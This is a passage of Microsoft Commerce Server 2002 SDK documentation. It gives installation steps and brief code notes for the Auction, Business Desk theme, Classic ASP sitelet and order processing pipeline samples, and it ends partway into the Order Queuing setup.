    Machine Name of IIS Server | Type the computer name for the IIS server.
    IIS Web site | Select the Default Web Site from the drop-down list.
    IIS Virtual Directory | Type auctionsiteletbizdesk where blankbizdesk currently appears.
  8. Click Next.
  9. In the Unpacking is complete dialog box, review the list of SQL databases and IIS applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  10. To close Site Packager, click Finish.
  11. To close Commerce Server Manager, in the Commerce Server Manager screen, on the Console menu, click Exit.
  12. In the Microsoft Management Console dialog box, click No.

To add the Auction module to Business Desk

  1. Click Start, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. Navigate to <drive>:\Samples\Auction\bBizdesk\Config, and copy the Auction.xml and Bizdesk.xml files.
  3. Navigate to <drive>:\Inetpub\wwwroot\Auctionsiteletbizdesk\Config, and paste the Auction.xml and Bizdesk.xml files into this directory.
  4. Navigate to <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Auction\Bizdesk, and copy the Include directory, Auction_edit.asp, Auction_event.asp, Auction_list.asp, Bids_event.asp, and Bids_list.asp. The only item that should not be copied is the Config folder.
  5. Navigate to <drive>:\Inetpub\wwwroot\auctionsiteletbizdesk, and on the File menu, point to New, and then click Folder.
  6. In the right pane, name the new folder auction.
  7. Double-click the auction folder, and paste the copied files into the auction folder. The auction folder should now contain the files auction_edit.asp, auction_event.asp, auction_list.asp, bids_event.asp, bids_list.asp, and an Include directory.
  8. Click Start, and then click Run.
  9. In the Run dialog box, in the Open box, type iisreset, and then click OK.

A command box appears while IIS is being reset. IIS is reset when the command box closes.

To create an auction

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type //<computer name>/auctionsiteletbizdesk, and then press ENTER.
  3. In the Browse for Folder dialog box, accept the default settings, and then click OK.
  4. In Internet Explorer, click Start Business Desk.

    The Auction sitelet Business Desk opens.

  5. Click the Auction module, and then click Auction Manager.
  6. In the Auction Events screen, click [image] on the toolbar.
  7. In the New Auction Item screen, enter the product information for the item up for bid. For exemplary purposes, the Auction Sitelet sets the Auction Type to winning bid. For more information about the product properties, see the UpdateItem method for the Auction object in Commerce Server Help.
  8. In the New Auction Item screen, click The Save Auction icon. on the toolbar to save the auction item, and then click The Back icon. on the toolbar to return to the Auction Events screen.

    The auction item now appears in the Filtered View list.

To bid on an auction item

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type //<computer name>/auctionsitelet, and then press ENTER.

    The Auction sitelet appears.

  3. Follow the onscreen directions to place a bid.

To view bid history in Business Desk

  1. Open the Auction sitelet in Business Desk from either the Start menu or the Desktop.
  2. In the Auction module, click Bids Manager.

All bids for all items appear in the Filtered View list.


Business Desk Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes several samples that demonstrate how to customize and extend Commerce Server Business Desk.

This section contains:

  • Business Desk Themes Sample
  • Custom Business Desk Module Sample
  • Business Desk Installer Sample
  • Widget Samples


Business Desk Themes Sample

Location in SDK: SDK\Samples\BizDesk\Themes

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes a Business Desk Themes sample that allows users to change the Business Desk theme or color scheme. After making minor code changes to two of the ASP pages for the site, the themes are available for selection on the home page of Business Desk, in the Themes drop-down list.

Each Business Desk theme is based on two cascading style sheet (CSS) files, theme_bizdesk.css and theme_navtree.css, such as earth_bizdesk.css and earth_navtree.css for the theme with the Earth color scheme.

There are five themes included in the SDK. The following lists the name of the theme, a description of the color scheme, and a graphic of the theme used in Business Desk.

  • Earth, mixture of greens and browns

    The Business Desk Earth theme.

  • Grape, shades of purple

    The Business Desk Grape theme.

  • Ocean, shades of blues and greens

    The Business Desk Ocean theme.

  • Raspberry, shades of red

    The Business Desk Raspberry theme.

  • Steel, shades of grays and blues

    The Business Desk Steel theme.

Installing the Business Desk Theme Sample

Use the following procedure to install the Business Desk Themes sample.

Notes

  • Before you can install the Business Desk Themes sample, Commerce Server Business Desk must be installed. Business Desk is installed automatically when a Solution Site is unpacked. Business Desk is not installed automatically when an SDK sitelet is unpacked.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To install the Business Desk Themes sample

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. Navigate to the Themes folder, for example <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\BizDesk\Themes.
  3. Copy the two files associated with each theme you want to have available in Business Desk, for example, ocean_navtree.css and ocean_bizdesk.css.
  4. Navigate to the Bizdesk folder for the site, for example <drive>:\Inetpub\wwwroot\<Sitename>Bizdesk\Include\Styles, and then paste the files in the folder.
  5. Navigate to the welcome.asp file, located at <drive>:\Inetpub\wwwroot\<SiteName>bizdesk\welcome.asp. Open the file in a text editor such as Notepad or Microsoft Visual Studio.
  6. Add the new theme options to the drop-down list. After the following line of code on line 120, <option value='hicont_'><%= L_CSSHiContrast_MenuItem%></option>, add a new line of code for each new theme.

    For example:

    'Existing Code
<option value='default_'><%= L_CSSDefault_MenuItem    %></option>
<option value='hicont_'><%= L_CSSHiContrast_MenuItem  %></option>
'New Code
<option value='ocean_'>Ocean</option>

    Note that to preserve the ability to easily localize the Business Desk code, you should add a new variable for the word "Ocean" to the file BizDeskStrings.asp in the Include folder below the existing definitions of the L_CSSDefault_MenuItem and L_CSSHiContrast_MenuItem variables, and reference the new variable in the file welcome.asp.

  7. On the File menu, click Save. (You can optionally close the file welcome.asp and the text editor at this point.)
  8. Open Business Desk for the site. Click Start, and then click Business Desk - <Sitename>.
  9. On the Business Desk home page, select the theme you want to use from the Theme drop-down list, and then click Apply.

Business Desk is displayed in the color scheme for the theme you selected.


Custom Business Desk Module Sample

Location in SDK: SDK\Samples\BizDesk\Module

The files in this sample provide a working code base from which to develop new Commerce Server Business Desk modules. This code base demonstrates how to use XML data-islands, and includes the use of the Business Desk HTML Components (HTCs) for creating a rich, Web-based user interface to allow for nontechnical administration of your Commerce Server Web site. This sample provides you with an edit page that demonstrates the use of edit page HTCs, a list page that demonstrates the use of the list page HTC, and a response page for handling requests from the Business Desk user interface.

For more information about building Business Desk modules, see Building Business Desk Modules.


Business Desk Installer Sample

Location in SDK: SDK\Samples\BizDesk\Installer

The files in this sample constitute the C++ source code for a Component Object Model (COM) object that provides a mechanism for automating the process of adding the configuration information for a new Business Desk module to an existing Business Desk installation. For more information about the interface that this object implements, see Automating Module Installation.


Widget Samples

Location in SDK: SDK\Samples\BizDesk\Widgets

The files in this sample constitute demonstration pages for the various HTML Components (HTCs) provided with the Business Desk Framework.

You can set a Microsoft Internet Information Services (IIS) virtual directory to the Widgets folder to see sample pages for all of the HTML Components (HTCs) used in Business Desk.


Classic ASP Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains six samples that demonstrate the use of the Targeting system, Product Catalog system, Order Processing system, and the User Profile Management feature.

This section contains:

  • ASP-Based Advertising Sitelet
  • ASP-Based Catalog Sitelet
  • ASP-Based Discount Sitelet
  • ASP-Based Order Sitelet
  • ASP-Based Passport Sitelet
  • ASP-Based Profile Sitelet


ASP-Based Advertising Sitelet

Location: SDK\Samples\Classic ASP\Ad Sitelet

The primary goal of the Advertising Sitelet is to demonstrate the use and behavior of the components that work together to display advertisements in a Commerce Server site. In this sitelet, you will view a demonstration of targeted advertisements for hard-coded profile data to learn and understand how the ContentSelector object works. The profile data for this sitelet is stored in the site SQL Server database; this database is populated by Commerce Server Site Packager during the sitelet installation process.

The Advertising Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and display ads using the Campaign Manager module, and you can manage ad targeting based on profiles in your Profiles database. No modification to the source code is required to deploy the Advertising Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Advertising Sitelet can be found in the ASP.NET-Based Advertising Sitelet. For more information, see ASP.NET-Based Advertising Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Advertising Sitelet Code Notes

Installing the ASP-Based Advertising Sitelet

ASP-Based Advertising Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelet sets the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.

Installing the ASP-Based Advertising Sitelet

You unpack the Advertising Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Advertising Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Ad Sitelet\SDK-AD-SITELET.PUP

Use the following procedure to install the Advertising Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Advertising Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Ad Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Ad Sitelet directory.
  2. Click the SDK-AD-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/AdSitelet to open the sitelet.


ASP-Based Catalog Sitelet

Location: SDK\Samples\Classic ASP\Catalog Sitelet

The primary goal of the Catalog Sitelet is to demonstrate how to use the Catalog object model to browse and search a product catalog, providing you with a functional example of the catalog API in action.

The Catalog Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. You can deploy the sitelet to a server running Commerce Server 2002 without the need for code modifications. After the Catalog Sitelet has been deployed, you can use it to browse and search a sample catalog.

The Catalog Sitelet demonstrates the two query mechanisms supported by the Catalog object model, and also demonstrates using the Catalog object model to provide catalog browsing functionality.

Similar functionality to that found in the ASP-Based Catalog Sitelet can be found in the ASP.NET-Based Catalog Sitelet. For more information, see ASP.NET-Based Catalog Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Catalog Sitelet Code Notes

Installing the ASP-Based Catalog Sitelet

ASP-Based Catalog Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP sitelets set the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file Rc.xml.
  • The catalog for this sitelet is both multilingual and multicurrency.

Installing the ASP-Based Catalog Sitelet

You unpack the Catalog Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Catalog Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Catalog Sitelet\SDK-CATALOG-SITELET.PUP

Use the following procedure to install the Catalog Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Catalog Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Catalog Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Catalog Sitelet directory.
  2. Click the SDK-CATALOG-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/CatalogSitelet to run the sitelet.


ASP-Based Discount Sitelet

Location in SDK: SDK\Samples\Classic ASP\Discount Sitelet

The primary goal of the Discount Sitelet is to demonstrate how to create and apply discounts to items added to a shopping cart using the Campaign Manager module in Commerce Server Business Desk and the Basket pipeline. Using this sitelet, you can examine a demonstration of discounts based on hard coded catalog data, and understand how the discount pipeline component works in the Order Processing pipeline (OPP). The Discount Sitelet shows you how to:

  • Create a multilingual site
  • Use discounts as part of campaign management
  • Display discounts
  • Create click-required discounts
  • Create discount applications and expressions (targeted discounts)
  • Create discount events

The Discount Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the Discount Sitelet, you can implement discounts on a Commerce Server-based Web site. No modification to the code is required to deploy the sitelet to a server running Commerce Server 2002.

Discounts in the sitelet are determined by what type of account the user has. Users that log in as Premier Users get 10 percent off all items in their basket. Premier Users also receive an additional 40 percent off Black Diamond Quicksilver II when they purchase Gibraltar. Users that log in as Standard Users get 50 percent off an item when they purchase three items.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Discount Sitelet Code Notes

Installing the ASP-Based Discount Sitelet

ASP-Based Discount Sitelet Code Notes

The discounts, users, and catalog are hard-coded in the Discount Sitelet, meaning that this data is stored in the appropriate SQL Server site database tables during the site installation process.

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. Language character sets are set in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet also supports multicurrency ordering.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.
  • Users that log in as Premier Users get 10 percent off all items in their basket. They also recieve an additional 40 percent off Black Diamond Quicksilver II when they purchase Gibraltar. Users that log in as Standard Users get 50 percent off every third item in their basket.

Installing the ASP-Based Discount Sitelet

You unpack the Discount Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet\SDK-DISCOUNT-SITELET.PUP

Unpacking the ASP-based Discount Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

Use the following procedures to install the Discount Sitelet on one computer using the Quick mode in Site Packager.

To unpack the ASP-Based Discount Sitelet

To add a blank Business Desk to the ASP-Based Discount Sitelet

To import the Adventure Works Catalog

To view the ASP-Based Discount Sitelet

To unpack the ASP-Based Discount Sitelet

  1. Using Windows Explorer, navigate to Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet.
  2. Click the SDK-DISCOUNT-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.

To add a blank Business Desk to the ASP-Based Discount Sitelet

Adding a Business Desk to the Discount Sitelet is optional.

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, on the Tree tab, expand Commerce Server Manager, expand Commerce Sites, and then expand Discount Sitelet.
  3. Right-click Applications, point to New, and then click Add Application.
  4. In the Add Application From dialog box, select Blank.pup, and then click Open.
  5. In the Select Applications dialog box, in the Applications in the package box, clear the BlankSite option. Only the BlankBizDesk site option should be selected.
  6. Click Next.
  7. In the Select IIS Web Sites and Virtual Directories dialog box, do the following:
    Use this | To do this
    Machine Name of IIS Server | Type the computer name for the Internet Information Services (IIS) server.
    IIS Web site | Select Default Web Site on the drop-down list.
    IIS Virtual Directory | Type discountsiteletbizdesk where blankbizdesk currently appears.
  8. Click Next.
  9. In the Unpacking is complete dialog box, review the list of SQL databases and IIS applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  10. To close Site Packager, click Finish.
  11. To close Commerce Server Manager, in the Commerce Server Manager screen, on the Console menu, click Exit.
  12. In the Microsoft Management Console dialog box, click No.

To import the Adventure Works Catalog

  • After unpacking the Discount Sitelet and adding Business Desk, you can optionally import the Adventure Works Catalog into the Discount Sitelet. The Adventure Works Catalog is located at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet\AdvWorksCatalog.xml.

For more information about importing the Adventure Works Catalog, see Importing an XML Catalog File.

To view the ASP-Based Discount Sitelet

  • In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/DiscountSitelet, and then press ENTER.


ASP-Based Order Sitelet

Location in SDK: SDK\Samples\Classic ASP\Order Sitelet

The primary goal of the Order Sitelet is to demonstrate how to allow users to create an order, and then confirm and view the status of that order. For more information on order queuing, see Order Queuing SDK Sample.

The Order Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification of the source code is required to deploy the Order Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Order Sitelet can be found in the ASP.NET-Based Order Sitelet. For more information, see ASP.NET-Based Order Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Order Sitelet Code Notes

Installing the ASP-Based Order Sitelet

ASP-Based Order Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP sitelets set the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet also supports multicurrency ordering.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.

Installing the ASP-Based Order Sitelet

You unpack the Order Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Order Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\SDK-ORDER-SITELET.PUP

Use the following procedure to install the Order Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Order Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Order Sitelet

  1. In Windows Explorer, navigate to the directory containing either the ASP or the ASP.NET version of the sitelet, as described above.
  2. Double-click the SDK-ORDER-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/OrderSitelet to open the sitelet.


ASP-Based Passport Sitelet

Location in SDK: SDK\Samples\Classic ASP\Passport Sitelet

The primary goal of the Passport Sitelet is to demonstrate through code how to integrate Passport single sign-on capability with the Profiling System. With this capability, you and your users can benefit from a single sign-on authentication service, meaning that users can access more than one secure site with the same user name and password.

The Passport Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification to the code is required to deploy the Passport Sitelet to a server running Commerce Server 2002.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP-Based Passport Sitelet

You unpack the Passport Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Passport Sitelet\SDK-PASSPORT-SITELET.PUP

Use the following procedure to install the Passport Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Passport Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the Passport Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Passport directory.
  2. Click the SDK-PASSPORT-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/PassportSitelet to run the sitelet.


ASP-Based Profile Sitelet

Location in SDK: SDK\Samples\Classic ASP\Profile Sitelet

The primary goal of the Profile Sitelet is to demonstrate through code how to use the Profiling System in Commerce Server 2002 to create user profiles, set user profile attributes, and to read user profile data using the Profiling System objects.

The Profile Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and modify user profiles, using the AuthManager, ProfileObject, and ProfileService objects. No modification to the code is required to deploy the Profile Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Profile Sitelet can be found in the ASP.NET-Based Profile Sitelet. For more information, see ASP.NET-Based Profile Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP-Based Profile Sitelet

You unpack the Profile Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Profile Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Profile Sitelet\SDK-PROFILE-SITELET.PUP

Use the following procedure to install the Profile Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Profile Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Profile Sitelet

  1. In Windows Explorer, navigate to the directory containing either the ASP or the ASP.NET version of the sitelet, as described above.
  2. Click the SDK-PROFILE-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Profiling System screen, accept the defaults, and then click Next.
  6. In the second Profiling System screen, accept the defaults, and then click OK.
  7. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  8. In Internet Explorer, in the Address box, type HTTP: //<c omputer name>/ProfileSitelet to open the sitelet.


Order Processing Samples

The Order Processing folder contains the following samples:

  • MinMaxShip Pipeline Component Sample
  • Order Level Discount Pipeline Components
  • Order Queuing Sample


MinMaxShip Pipeline Component Sample

Location in SDK: SDK\Samples\Order Processing\MinMaxShip

The files in this sample are divided into four subfolders: ATL, BizDesk, CSharp, and VB. The ATL and VB folders contain files that constitute parallel implementations of the same pipeline component, known as the MinMaxShip pipeline component. The ATL folder contains the source code for a C++ Active Template Library (ATL) implementation, and the VB folder contains the source code for a Microsoft Visual Basic implementation. The CSharp folder contains the source for a C# implementation of the component.

The MinMaxShip pipeline component demonstrates how a new pipeline component can be added to the Order Processing pipeline, as well as demonstrating the new shipping architecture in Commerce Server.

The BizDesk folder provides a custom Commerce Server Business Desk module that allows the MinMaxShip sample to be quickly added to an existing Commerce Server Web site for use in the shipping stage of an Order Processing pipeline.

To run either implementation of the MinMaxShip sample, you must first either install one of the Solution Sites that can be downloaded from http://go.microsoft.com/fwlink/?LinkId=6767, or install the Order Sitelet and Commerce Server Business Desk. For instructions on installing the Order Sitelet, see Installing the ASP-Based Order Sitelet. For instructions on installing Business Desk, see Adding a Business Desk Application to a Site. After you have installed a site or a sitelet and Business Desk, go to the directory containing the Business Desk files, and do the following:

  • Copy the file MinMax_edit.asp from the MinMaxShip\BizDesk folder to the relevant Shipping folder. For example, C:\InetPub\wwwroot\RetailBizDesk\Shipping.
  • Copy the file shipping_methods.xml from the MinMaxShip\BizDesk folder to the Config folder. For example, C:\InetPub\wwwroot\RetailBizDesk\Config.

After the Shipping module in Business Desk is updated, you can use it to configure new shipment methods of type "MinMaxShip".

For more information about the MinMaxShip sample, see MinMaxShip Sample Pipeline Component.


Order Level Discount Pipeline Components

Location in SDK: SDK\Samples\Order Processing\OrderLevelDiscountComponents

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains two extendable pipeline components: OrderLevelDiscountsApply and ShippingDiscountsApply. The components in the SDK are exactly the same as the components included in the platform except they have distinct Programmatic Identifiers and the source code is available for the SDK pipeline components. Because the SDK pipeline components have unique Programmatic Identifiers, both the platform and SDK components can be registered at the same time.

To create and use the extendable pipeline components, you must perform three procedures.

To build the OrderLevelDiscountsComponents.dll file

To add the OrderLevelDiscountsApply component to a pipeline

To add the ShippingDiscountsApply component to a pipeline

To build the OrderLevelDiscountsComponents.dll file

Before you start this procedure, you must update the Include files for Microsoft Visual C++. For information on updating the Include files, see To update Microsoft Visual C++.

  1. On the Start menu, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual C++.
  2. On the File, click Open.
  3. On the Open dialog box, change Files of type to All Files, and then navigate to the <drive>:\Program Files\Microsoft Commerce Server\2002\SDK\Samples\OrderProcessing\OrderLevelDiscountComponents directory, select OrderLevelDiscountsComponents.dsw, and then click Open.
  4. On the Build menu, click Build OrderLevelDiscountsComponents.dll.
  5. On the File menu, click Save Workspace, and then click Exit.

    Notes

    • Visual Studio automatically registers the component it compiles. If an error occurs, register it manually.
    • The directory that the DLL resides in should allow IUSR_<computer name> account access.

To add the OrderLevelDiscountsApply component to a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify. For example, <drive>:\Inetpub\wwwroot\Retail\Pipeline\basket.pcf.
  3. Right-click the OrderDiscount component, point to Insert Component, and then click After.

    The Choose a component dialog box appears.

    Note

  • The OrderLevelDiscountsApply component should always be placed in the Order Adjust Price stage, between the OrderDiscount and RequiredOrderAdjustPriceCy components.
  1. In the Choose a component dialog box, select OrderLevelDiscountsApply SDK from the Component window, and then click OK.
  2. To configure the new component, right-click the OrderLevelDiscountsApply component, and then click Properties.
  3. In the Component Properties dialog box, do the following:
    Use this | To do this
    Apply discounts to all items | Apply order level discounts to all items in the order form.
    Apply discounts to items where the following key exists and the corresponding value is nonzero | Apply order level discounts only to items in the order form where the specified item dictionary key exists and the corresponding value is nonzero.
  4. Click Apply, and then click OK.
  5. On the File menu, click Save, and then click Exit.

    The new component is added to your pipeline.

To add the ShippingDiscountsApply component to a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify. For example, <drive>:\Inetpub\wwwroot\Retail\Pipeline\total.pcf.
  3. Right-click the Commerce.ShippingMethodRouter component, point to Insert Component, and then click After.

    The Choose a component dialog box appears.

    Note

  • The ShippingDiscountsApply component should always be placed in the Shipping stage, following the Commerce.ShippingMethodRouter component.
  1. In the Choose a component dialog box, select ShippingDiscountsApply SDK in the Component window, and then click OK.
  2. To configure the new component, right-click the component, and then click Properties.
  3. In the Component Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the component.
    Class ID | Type a globally unique identifier for the component.
    Program ID | Type the programmatic identifier for the component.
    Description | Type a description for the component.
  4. Click Apply, and then click OK.
  5. On the File menu, click Save.

The new ShippingDiscountsApply component is added to your pipeline.

See Also

OrderDiscount

OrderLevelDiscountApply

ShippingDiscountAdjust

Business Desk Campaigns


Order Queuing Sample

Location in SDK: SDK\Samples\Order Processing\Queuing

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes the Order Queuing sample that contains components that you can use for queuing orders so you can process them at a later time. Providing the capability to process orders offline is a recommended best practice for high-availability sites.

The Order Queuing sample integrates Message Queuing, which allows an order to be stored in a queue until a server or database becomes available. Message Queuing ensures that users are not affected by server or database outages, and efficiently and accurately stores orders when real-time processing is not a viable option.

Diagram depicting the workflow of the Order Queuing sample.

When order queuing is implemented, the IPersistXML interface is used to convert an order into XML-formatted text. This text is saved in the message queue. The Order Queuing sample includes a sample Reader application that allows you to view the XML-formatted version of the order and save it to the orders database as an OrderGroup object, or return it to the queue for processing at a later time. It is recommended that a custom Reader application be created for use in production Web sites to automate the polling of the order queue.

For more information about message queuing, see the Message Queuing topics available in the Platform SDK in the online MSDN Library (http://go.microsoft.com/fwlink/?LinkId=6680).

This section contains:

  • Order Queuing Sample Code Walkthrough
  • Installing the ASP-Based Order Queuing Sample

Order Queuing Sample Code Walkthrough

The Order Queuing sample includes a writer component (writeorder.cls) and a reader component (readorder.cls). The writer component stores the orders in a private queue. This component should be used in a site or sitelet to store the order in the queue instead of in the orders database. The reader component reads orders from the queue and stores them in your Commerce Server orders database.

The reader application, ReaderApp.exe, is a sample application provided to exemplify one way in which the reader component can be used. The reader application initializes the components, reads the order from the queue where it is stored as XML, returns the OrderGroup object, and then calls the function SaveAsOrder to write the order to the orders database.

Installing the Order Queuing Sample

Use the following procedures to install the Order Queuing sample. After you have installed the code to run the sample, you will need to make the OrderQueue.dll file, make the ReaderApp.exe file, and register the OrderQueue.dll file. You will then need to reset Internet Information Services (IIS).

Notes

  • Before installing the Order Queuing sample, the Order Sitelet must be installed. For more information about installing the Order Sitelet, see Installing the Order Sitelet.
  • Before installing the Order Queuing sample, the Message Queuing Services component in Windows 2000 must be installed on the same computer as the Order Sitelet. The Message Queuing Services component can be installed through the Windows Components Wizard, which is accessible through Control Panel, Add/Remove Programs, Add/Remove Windows Components.
  • Before installing the Order Queuing sample, Microsoft Visual Studio 6.0 must be installed on the same computer as the Order Sitelet.

To install the Order Queuing sample

To make the OrderQueue.dll file

To make the ReaderApp.exe file

To register the OrderQueue.dll file

To reset IIS

To run the Order Queuing sample

To install the Order Queuing sample

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Navigate to the global.asa file located at <drive>:\Inetpub\wwwroot\ordersitelet\global.asa.
